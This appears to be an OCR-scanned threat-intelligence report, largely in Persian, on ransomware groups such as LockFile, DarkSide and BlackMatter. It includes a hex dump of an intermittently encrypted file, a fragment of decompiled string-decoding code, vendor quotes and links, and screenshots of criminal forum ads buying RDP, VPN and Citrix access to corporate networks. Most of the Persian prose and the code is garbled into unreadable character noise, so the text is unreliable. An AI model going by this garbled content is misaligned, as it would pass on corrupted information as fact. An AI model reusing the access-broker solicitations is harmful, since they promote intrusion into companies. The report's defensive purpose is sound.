00000040 51 F7 3A 69 CD 1C D8 17 B6é S5A B3 F9 SA C7 Bl Es Q=:if.@.9z*ascié
Q0000050 T7 65 T2 &5 20 70 72 6F 75 &4 20 74 &F 20 73 &1 were proud to sa
Q000000 89 31 DB FF 64 5D FF 0D 52 A6 C1l 39 Bl 8¢ F1 0D hlﬁ?d]?.n:ﬁgi?ﬁ.
00000070 20 70 65 T2 €6 €5 63 T4 6C 79 20 €E &F 72 €D 61 perfectly norma
00000080 3A 54 22 73 7E 8D BT 74 20 BB OB DS 05 BB 2F E7 :T"s~. -t ».U.»/c
Q0000090 T2 T9 20 6D 75 €63 68 2Z2E 20 54 &8 &5 T9 20 T7T &5 ry much. They we
Q00000A0 84 BE FE E5 C4 OA DE &1 38 BC A3 A7 DD 43 34 Al "fpéﬁ.baﬁh£§ic:;
000000BD €C 65 20 79 €F 75 E2 80 99 €4 20 OA €5 78 70 €5 le youd€™d .expe
000000CO 13 Bl C4 29 EB 6D 54 FD C3 5B 06 87 RE FA 03 DC .zh)emTyA[.s®u.0
000000D0 €4 20 69 6E 20 61 6E 79 74 68 €% 6E 67 20 73 74 d in anything st
QQ00000EQ 78 TE 4C FA 54 SB F3 12 EE 24 11 BE CD F7 DS BA anﬁ")é.i$.¥i+ﬁ§
Q00000F0 69 6F 75 73 2C 20 &2 €5 63 61 75 73 65 20 74 &8 ious, because th
00000100 BD A2 E2 32 BA 80 15 35 CA D4 49 71 D8 CC F4 &C %=eaz5€.sE01geisl
00000110 20 68 &F 6C €4 20 77 €9 74 €8 20 73 75 €3 68 20 hold with such

00000120 EE 40 48 83 39 C6é FE 4A 4C 3F 6C 7B B4 E6€ A6 60 i@HfOEPJIL?1{ =!"
Q00000130 20 44 75 72 73 6C &5 79 20 77 €1 72 20 T4 68 65 Dursley was the
Q0000140 93 DE 29 E4 DO 2F 84 01 52 C2 &€C AE 27 8C BO Cé “b]ﬁﬂf-.’ﬁlﬂ'm“!
00000150 €9 72 €D 20 €3 61 6C €C €5 64 20 OA 47 72 75 6E irm called .Grun
00000160 16 C3 39 87 Fl1 6B EA AA 77 DC 9E 75 B4 F8 97 6F .Aoifikéswilizu oo
00000170 €5 20 &4 72 €9 6C 6C 73 2E 20 48 65 20 77 61 73 e drills. He was
Q00000180 S¢ AR BA 17 72 &5 51 53 07 85 T3 A2 CA eC 57 17 —‘§.IEQS.'SGE1H.
00000190 6l 6E 20 77 69 74 &8 20 €8 &1 T2 64 &6C 79 20 &1 an with hardly a
OQ000LAD CE CD 72 04 €2 AF FC E3 AF 80 34 86 F3 87 C2 E1l iir.p uae4rosha
000001BO €8 20 68 65 20 64 €% 64 20 €68 €1 76 €5 20 61 20 h he did have a
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o LockBit 2.0 DarkSide yubs 5,55 (sla)l38lab .S 50 o3latiml (53> (5513550, jl 45 s ol Hl8l20 cpl azg5 Pl (Sag
dlas> L;)':\.f}n) doye Sl Judd o is)w QS50 Lg)l.lj}o) 2350 )18 dlas 3)90 a5 ) (golinwl jI was il 55 BlackMatter
(AiS (50 (613550 1y Lo | g cobglsS MY (Jgl ol Fols iy 4 lgil) . 3ies plsl yisyyuw |

LockFile (yoge ;3 355505 (5)13550) |y Jol Sob iz a5 sl ¢l 1S (50 jalatie W) l38l20 duds 4 cuwmd |y LOCKFile oS (gjuz

Slogse (8L GileS BB (632 U (i v S & Canlizs ol ol S0 (91S)0) ) 3 GRL VP 9 lae)d G2 @90 @

GRS w290 yol gl 9 350 Bymin |y (g)lel (slodelad 0,09y prl 1> Gz Cuje Wliie (6)13550) 3)Sag) 2l I eslastul
D9bso kel (5l)50l) I a2y 93] )93 9 (A Slos)9ld I A

)38y 5l (55 bawgs o5 1y chi-square (chit2) gy ogde eslaiwl LockFile jhslab )5 oS wgliie (513550, (ivg)
(oS <O Wio) (LGS FAN 64 (613550, (it Jold < )d ChiIt2 jlade 3550 593 i 0 0dlaiul H8laL plp ;s cblas
RS 4S.u| )'l Cawl bz;b]g Ol 45.\94»(_,0 WYFe C)T chi*?2 )].\.5.0 ‘_\9.4]'() 6)1_35}0) Darkide )IjélaL) hws.) _\.:\.u);l Cawl WAQoo )
12 WA dazg5 (b8 g YU Hlado (shls Hlizas gdb (513550, LOCKFile jl8lalb buwgs siuw ¢lad (ST .l odid (5)13550)

.l chif2

wwl 03 (513550, LockFile ¢ DarkSide walizwo li8l2L 95 Jawgs oS 1) (e 3w (3SH5/cab &595) 5 (55u8l)S )logas
ADS (50 Ul.u.u

o A

Original text document Text document encrypted by DarkSide 7ot document encrypted by LockFile

@ dud Hbuw LOCKFile kuwgs 6as (6)l3550) (sitte 3w (552815 inlad duiS(5e 03lie Vb (54815 (clo)lgas )5 S jghiles
Wl o b ) lgisee il o Loylislal jl cblas (gloylidloys 55 (6)liShey Lawsuid caga 338)5 ol .l o ol asuw
gy 024 aslaiwl (g)lBlab GVas > Gglite (6)l3550) 51 ¢l j1 Ju8 B .39y dolgs 3850 didd(s0 pll

(g 50 0315 pliyu23) Sgd 50 Jiiio (] g 950 diun PAI-YVA bghas )3 3w ¢yl 3850 5l Lun

ZeroMem??_00041270(local_1382,0,0x104);
/% "gs.lockiile" ¥/

local_l4lc[0] = 0Ox39;
local_l4lc[l] = Ox6f;
local_l4lc[2] = 0x32;
local_141c[3] = 0x70;
local_l41c[4] = 0x73;
local_l41c[S] = 0x7£:
local_l4lc[6] = 0x77:

4le[7] = OxTa;

4le[8] = 0x7S;

4lc[9] = 0x70;

4lc[l0] = 0x79;

1 1 1
local 1
local 1
2 local 1
285 do |
EET: local_l4lc[uVarlgé] = local_l4lc[uVarlé] ~ Oxlc;

uVarld = uVarls + 1}

} while {uWVarlg < 0Oxb):
local_l1411 = 07

2370) (local_1368,local_l4lc,param 1);
0£0) (param_1,local_l13€8);

return uVard;

0 }
304 1
305 return 07
308 [}
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https://news.sophos.com/en-us/2021/08/27/lockfile-ransomwares-box-of-tricks-intermittent-

encryption-and-evasion/
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“This lower barrier to entry also may have led to the leak by a disgruntled member who was viewed
as less technical (aka "a script kiddie") and less important”
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“This is an opportunity for defenders to make sure they have logic in place to detect these types of
behaviors or compensating controls to help mitigate the risk. This translation should be viewed as an
opportunity for defenders to get a better handle on how these groups operate and the tools they tend
to leverage in these attacks” - Cisco Talos
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https://talosintelligence.com/resources/302
https://talosintelligence.com/resources/269
ol 03)S &) 5 S s |y Cllhae el jl glaols 5 (Fortinet, INC.) wos5)98 Sy

https://www.fortinet.com/blog/threat-research/affiliates-cookbook-firsthand-peek-into-

operations-and-tradecraft-of-conti
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ACCESSES: networks, rdp, shells, ftp, sql-inj, DB's

Looking for FEMTESTERS Windows / Linux ¢ ESXI
Hspulabiiegin
| am locking for a responsible pentester partmer.

buy access rdp, vpn, citrix

Buy vpi-rdp acoess

1Ml take a high percentage of chtrix / vpn / rdp

[Access] - FTP, shells, root, sql-inj, DB, Servers

#® ©Buying accesses to corparations, institutions [$1000-$100k] [ROP, VPN-=ROP, Citrix, ROWeb, Forti ete][50kk+ ]

Q1 will buy access

® Obuy accesses

O We will by your acoess
2y March 2

Q1 will buy access to corporate netwarks

OSHOPSHIFF INSTALL

[Shells - cPanels - RDP - Accounts - Logs - Leads - FTI
AR

‘j Wie will buy access to shops, or we will take it at%
L)

We will buy your access

® DMirors RDP with USA cookies (analog hvnc)

& O Adminfinder - saftware for finding shops, admin paneks and citrix
B May

O [SHOPPING] Access to shops

Oiurchase / implementation of your access to corparate networks

LSUD°9)§ a5 Gl 035 ) (olo)leo Cauwygd ‘(s)l)élal; L;l.mo»f LngL,QST =S g oy )l o el Caiol Sy SO
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BlackMatter

byte
.

ther
Deposit
4.000000

‘We are looking for corporate networks of the following countries:

« USA.
« THAT.
« TO.
+ GB.

All areas except:

« Medicine.
« State institutions.

Requirements:

« Zoom Revenue ot 100kk+.

« 500 - 15,000 hosts.

« We do not take networks with which someone has already tried to work.
2 options for work:

« We buy: From 3 to 100k.

« We take it to work (discussed individually).

Scheme of work:
Selecting a work option -> Access transfer -> Checking -> We take it or not (in case of discrepancy).

Deposit: 120k

First contact of the PM. We are looking first of all for stable and adequate suppliers.
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Demand for Specific Countries among Ransomware Actors

Based on active threads from July 2021

47.37%

36.84% 36.84%
31.58%

Canada Australia Europe
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a We buy vpn, rdp.
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Paid registration
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viders of access to corporate networks

3, with Domain Admin rights
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Blacklist of Sectors among Ransomware Actors

Based on active threads from July 2021

47.37% 47.37%
36.84%
26.32%
Education Healthcare Government MNon-profit
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